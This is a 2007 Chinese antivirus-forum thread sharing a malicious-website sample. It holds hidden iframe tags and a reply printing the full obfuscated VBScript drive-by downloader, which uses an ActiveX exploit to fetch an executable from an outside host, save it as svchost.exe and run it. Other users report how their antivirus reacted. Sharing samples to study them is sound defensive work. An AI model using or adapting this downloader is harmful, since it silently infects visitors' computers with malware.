查看: 3273|回复: 23
收起左侧

[病毒样本] 毒网!!!

[复制链接]
170912556
头像被屏蔽
发表于 2007-6-29 20:50:11 | 显示全部楼层 |阅读模式
170912556
头像被屏蔽
 楼主| 发表于 2007-6-29 20:51:19 | 显示全部楼层
<iframe src=http://www.513315.com/aiya/wei.htm width=0 height=0></iframe>

<iframe src=http://www.513315.com/aiya/wei.htm width=0 height=0></iframe>
woai_jolin
发表于 2007-6-29 20:53:57 | 显示全部楼层
ess+微点
进去没反应
小邪邪
发表于 2007-6-29 20:55:19 | 显示全部楼层
没反应
风雪
发表于 2007-6-29 21:01:41 | 显示全部楼层
费尔+OP进去无反应。
woai_jolin
发表于 2007-6-29 21:03:41 | 显示全部楼层
难道又是补丁闹的???
icka
发表于 2007-6-29 21:12:44 | 显示全部楼层

  1. <html>
  2. <body>
  3. <script type="text/jscript">
  4. function init () {
  5. document.write("<center><font color=red></font><center>");}
  6. window.onload = init;
  7. </script>
  8. <script language="VBScript">
  9. on error resume next
  10. tcsafe = "http://www.513315.com/aiya/wei.exe"
  11. z1="o"
  12. z2="b"
  13. z3="j"
  14. z4="e"
  15. z5="c"
  16. z6="t"
  17. m1=z1&z2&z3&z4&z5&z6
  18. m2="c"&"l"&"a"&"s"&"s"&"i"&"d"
  19. m3="c"&"l"&"s"&"i"&"d:"&"BD"&"9"&"6"&"C"&"5"&"5"&"6"&"-"&"6"&"5"&"A"&"3"&"-"&"1"&"1"&"D"&"0"&"-"&"9"&"8"&"3"&"A"&"-"&"0"&"0"&"C"&"0"&"4"&"F"&"C"&"2"&"9"&"E"&"3"&"6"
  20. m4="M"&"i"&"c"&"r"&"o"&"s"&"o"&"f"&"t"&"."&"X"&"M"&"L"&"H"&"T"&"T"&"P"
  21. m5="S"&"h"&"e"&"l"&"l"&"."&"A"&"p"&"p"&"l"&"i"&"c"&"a"&"t"&"i"&"o"&"n"
  22. m6="S"&"c"&"r"&"i"&"p"&"t"&"i"&"n"&"g"&"."&"F"&"i"&"l"&"e"&"S"&"y"&"s"&"t"&"e"&"m"&"O"&"b"&"j"&"e"&"c"&"t"
  23. sub tcsafe1exe(m5,X9)
  24. set Xe = Xc.createobject(m5,"")
  25. dd="o"&"p"&"e"&"n"
  26. Xe.ShellExecute X9,BBS,BBS,dd,0
  27. end sub
  28. Set Xc = document.createElement(m1)
  29. Xc.setAttribute m2, m3
  30. Xi=m4
  31. Set Xd = Xc.CreateObject(Xi,"")
  32. a1="A"&"d"&"o"
  33. a2="d"&"b"&"."
  34. a3="S"&"t"&"r"
  35. a4="e"&"a"&"m"
  36. a5=a1&a2&a3&a4
  37. Xg=a5
  38. set Xa = Xc.createobject(Xg,"")
  39. Xa.type = 1
  40. Xh="G"&"E"&"T"
  41. Xd.Open Xh, tcsafe, False
  42. Xd.Send
  43. X9="svchost.exe"
  44. set Xb = Xc.createobject(m6,"")
  45. set Xe = Xb.GetSpecialFolder(2)
  46. sub tcsafe2exe(Xe,X9)
  47. X9= Xb.BuildPath(Xe,X9)
  48. end sub
  49. Xa.open
  50. X8="X"&"a"&"."&"B"&"u"&"i"&"l"&"d"&"P"&"a"&"t"&"h(Xa,X8)"
  51. X7="Xb.B"&"ui"&"ld"&"Pa"&"th(Xb,X7)"
  52. X6="Xc.B"&"u"&"il"&"dP"&"at"&"h(Xd,X6)"
  53. X5="X"&"d.Bu"&"il"&"dP"&"a"&"t"&"h(Xf,X5)"
  54. X4="Xe.B"&"ui"&"ld"&"Pa"&"t"&"h(Xg,X4)"
  55. X3="X"&"f.Bu"&"il"&"d"&"Pa"&"t"&"h(Xh,X4)"
  56. X2="Xg.B"&"ui"&"l"&"d"&"Pa"&"t"&"h(Xi,X3)"
  57. X1="Xh.B"&"u"&"i"&"ld"&"Pa"&"t"&"h(Xg,X1)"
  58. X0="Xi.B"&"u"&"i"&"ld"&"P"&"a"&"th(Xk,X0)"
  59. call tcsafe2exe(Xe,X9)
  60. Xa.write Xd.responseBody
  61. Xa.savetofile X9,2
  62. Xa.close
  63. call tcsafe1exe(m5,X9)
  64. </script>
  65. </body>
  66. </html>  
复制代码
yangsimu
发表于 2007-6-29 21:16:05 | 显示全部楼层
小红伞报了,而且是已知病毒
taihuxian
发表于 2007-6-29 21:19:24 | 显示全部楼层
怎么没人去抓个回来亚,谁有奉献精神亚
allenhippo
发表于 2007-6-29 21:37:31 | 显示全部楼层
黑防鸽子

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-5-7 12:37 , Processed in 0.120866 second(s), 18 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表